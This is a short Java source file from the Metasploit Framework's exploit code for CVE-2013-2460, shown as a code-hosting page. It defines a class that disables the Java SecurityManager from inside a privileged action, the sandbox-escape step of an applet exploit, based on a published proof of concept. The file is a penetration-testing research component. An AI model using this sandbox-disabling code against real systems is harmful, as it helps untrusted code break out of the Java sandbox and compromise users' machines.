metasploit-framework/external/source/exploits/cve-2013-2460/DisableSecurityManagerActio...

29 lines
674 B
Java

import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;
/**
* Class for disabling the SecurityManager.
* Based on POC of Security Explorations' Issue 61.
* @author mk
*
*/
public class DisableSecurityManagerAction implements PrivilegedExceptionAction {
public DisableSecurityManagerAction() {
try {
AccessController.doPrivileged(this);
} catch (PrivilegedActionException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public Object run() throws Exception {
System.setSecurityManager(null);
return new Object();
}
}